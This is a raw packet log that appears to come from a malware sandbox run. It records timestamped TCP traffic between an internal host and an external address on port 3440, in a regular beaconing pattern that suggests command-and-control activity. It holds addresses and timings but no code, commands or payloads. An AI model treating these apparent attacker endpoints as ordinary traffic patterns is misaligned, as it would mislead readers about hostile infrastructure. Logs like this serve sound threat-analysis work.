Jan 7, 2025 13:26:38.681338072 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:39.636635065 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:39.681329966 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:40.636590958 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:40.681339025 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:41.637645006 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:41.681435108 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:42.638601065 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:42.681406975 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:43.638763905 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:43.837600946 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:44.639717102 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:44.837632895 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:45.639697075 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:45.837996006 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:46.640507936 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:46.737363100 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:26:46.837687969 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.467164993 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.467219114 CET	49752	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.467257023 CET	49753	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.467298031 CET	49755	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.467320919 CET	49757	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.467335939 CET	49758	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.514707088 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:47.514744043 CET	3440	49752	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:47.514775038 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.514796972 CET	49752	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.514832973 CET	3440	49753	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:47.514846087 CET	3440	49755	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:47.514864922 CET	3440	49757	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:47.514884949 CET	49753	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.514909983 CET	3440	49758	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:47.514990091 CET	49755	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.515008926 CET	49758	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:47.515033960 CET	49757	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:51.514981985 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:51.521651983 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:51.522609949 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:51.522736073 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:51.527523994 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:52.148571014 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:52.150258064 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:52.155050993 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:52.323837042 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:52.323982954 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:52.328748941 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:52.330516100 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:52.335661888 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:52.620857000 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:52.621160984 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:52.626295090 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:52.626393080 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:52.631175995 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:52.930857897 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:53.065679073 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:53.065742016 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:53.067231894 CET	50001	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:53.072050095 CET	3440	50001	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:53.072130919 CET	50001	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:53.072273970 CET	50001	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:53.077096939 CET	3440	50001	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:53.664549112 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:53.725099087 CET	3440	50001	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:53.725239992 CET	50001	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:53.730031967 CET	3440	50001	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:53.744774103 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:53.900983095 CET	3440	50001	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:53.901786089 CET	50007	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:53.907008886 CET	3440	50007	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:53.907551050 CET	50007	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:53.907618999 CET	50007	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:53.912405014 CET	3440	50007	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:54.071995974 CET	50001	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:54.536005020 CET	3440	50007	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:54.536137104 CET	50007	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:54.540988922 CET	3440	50007	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:54.648838997 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:54.734116077 CET	3440	50007	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:54.735573053 CET	50013	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:54.737179995 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:54.740436077 CET	3440	50013	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:54.740502119 CET	50013	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:54.740598917 CET	50013	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:54.745342016 CET	3440	50013	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:54.868880033 CET	50007	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:55.344912052 CET	3440	50013	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:55.345029116 CET	50013	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:55.349797964 CET	3440	50013	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:55.518680096 CET	3440	50013	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:55.519462109 CET	50019	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:55.524316072 CET	3440	50019	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:55.524380922 CET	50019	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:55.524524927 CET	50019	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:55.529261112 CET	3440	50019	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:55.642714977 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:55.650167942 CET	50013	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:55.759574890 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:56.122769117 CET	3440	50019	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:56.123055935 CET	50019	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:56.127832890 CET	3440	50019	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:56.293632984 CET	3440	50019	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:56.299526930 CET	50025	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:56.304336071 CET	3440	50025	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:56.306574106 CET	50025	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:56.306714058 CET	50025	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:56.311474085 CET	3440	50025	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:56.368905067 CET	50019	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:56.643682003 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:56.759514093 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:56.911740065 CET	3440	50025	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:56.911875010 CET	50025	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:56.916676998 CET	3440	50025	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:57.082576036 CET	3440	50025	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:57.150131941 CET	50025	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:57.644799948 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:57.759509087 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:58.651913881 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:58.759542942 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:59.645596027 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:59.759527922 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:00.645796061 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:00.754681110 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:01.667634964 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:01.759531975 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:02.672274113 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:02.837398052 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:03.649817944 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:03.759530067 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:04.649632931 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:04.738481045 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:05.649542093 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:05.711556911 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:06.651385069 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:06.759560108 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:07.650773048 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:07.759555101 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:08.651962996 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:08.868932009 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:09.652968884 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:09.759572983 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:10.654428959 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:10.759546995 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:11.656136990 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:11.759558916 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:12.656932116 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:12.759552956 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:13.657740116 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:13.759568930 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:14.657789946 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:14.792510033 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:15.658060074 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:15.759560108 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:16.657948971 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:16.796713114 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:17.658586979 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:17.759578943 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:18.658879995 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:18.869050980 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:19.659719944 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:19.864053965 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:20.660058975 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:20.759601116 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:21.672251940 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:21.759588003 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:22.661773920 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:22.868949890 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:23.661693096 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:23.868963957 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:24.662461042 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:24.759638071 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:25.662074089 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:25.759644032 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:26.678472042 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:26.754329920 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:27.664319992 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:27.727157116 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:28.664522886 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:28.868980885 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:29.665479898 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:29.755811930 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:30.667589903 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:30.868993998 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:31.667875051 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:31.759624004 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:32.668265104 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:32.871603966 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:33.667988062 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:33.759632111 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:34.668761969 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:34.759771109 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:35.668721914 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:35.759661913 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:36.669714928 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:36.869620085 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:37.734257936 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:37.869012117 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:38.671717882 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:38.871613979 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:39.699537039 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:39.761624098 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:40.671977997 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:40.869646072 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:41.673165083 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:41.759749889 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:42.674520016 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:42.871620893 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:43.674923897 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:43.800267935 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:44.675776958 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:44.869141102 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:45.676703930 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:45.775280952 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:46.676975012 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:46.871625900 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:47.703387976 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:47.759741068 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:48.677875996 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:48.759668112 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:49.678706884 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:49.763663054 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:50.678764105 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:50.871644974 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:51.679816008 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:51.759738922 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:52.681514025 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:52.729583025 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:53.682851076 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:53.759699106 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.431691885 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.431853056 CET	50001	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.431910992 CET	50007	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.431945086 CET	50013	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.432018995 CET	50019	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.432058096 CET	50025	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.438014030 CET	3440	49990	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:54.438036919 CET	3440	50001	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:54.438049078 CET	3440	50007	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:54.438065052 CET	49990	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.438087940 CET	3440	50013	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:54.438100100 CET	50001	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.438123941 CET	50007	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.438126087 CET	3440	50019	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:54.438126087 CET	50013	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.438138008 CET	3440	50025	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:54.438167095 CET	50019	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:54.438195944 CET	50025	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:59.411372900 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:59.416316986 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:27:59.416987896 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:59.416987896 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:27:59.421832085 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.040244102 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.040435076 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:00.045293093 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.218578100 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.218708992 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:00.223565102 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.223615885 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:00.228449106 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.537040949 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.537209988 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:00.542000055 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.542068958 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:00.546859026 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.838936090 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.970712900 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.973823071 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:00.978030920 CET	50034	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:00.982937098 CET	3440	50034	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:00.985778093 CET	50034	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:00.985868931 CET	50034	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:00.990590096 CET	3440	50034	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:01.603291988 CET	3440	50034	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:01.606606007 CET	50034	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:01.611495972 CET	3440	50034	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:01.776803970 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:01.780493975 CET	3440	50034	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:01.781572104 CET	50035	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:01.786377907 CET	3440	50035	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:01.786449909 CET	50035	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:01.786637068 CET	50035	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:01.791388035 CET	3440	50035	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:01.869086981 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:01.869244099 CET	50034	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:02.404562950 CET	3440	50035	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:02.410449028 CET	50035	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:02.415344000 CET	3440	50035	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:02.584013939 CET	3440	50035	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:02.584952116 CET	50036	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:02.589844942 CET	3440	50036	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:02.589915991 CET	50036	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:02.590127945 CET	50036	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:02.594954014 CET	3440	50036	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:02.650430918 CET	50035	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:02.776581049 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:02.869080067 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:03.195197105 CET	3440	50036	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:03.195353985 CET	50036	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:03.200170994 CET	3440	50036	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:03.379981995 CET	3440	50036	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:03.380738974 CET	50037	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:03.385524988 CET	3440	50037	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:03.385668993 CET	50037	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:03.385735035 CET	50037	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:03.390539885 CET	3440	50037	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:03.575676918 CET	50036	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:03.777321100 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:03.868252039 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:04.018402100 CET	3440	50037	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:04.018565893 CET	50037	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:04.023514986 CET	3440	50037	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:04.193955898 CET	3440	50037	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:04.194902897 CET	50038	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:04.199737072 CET	3440	50038	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:04.199795961 CET	50038	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:04.199919939 CET	50038	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:04.204662085 CET	3440	50038	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:04.337829113 CET	50037	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:04.778605938 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:04.850665092 CET	3440	50038	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:04.853544950 CET	50038	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:04.859833002 CET	3440	50038	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:04.962956905 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:05.034581900 CET	3440	50038	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:05.151681900 CET	50038	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:05.782001972 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:05.861601114 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:06.778454065 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:06.871670008 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:07.779716015 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:07.865408897 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:08.780188084 CET	3440	50033	85.31.47.116	192.168.2.4
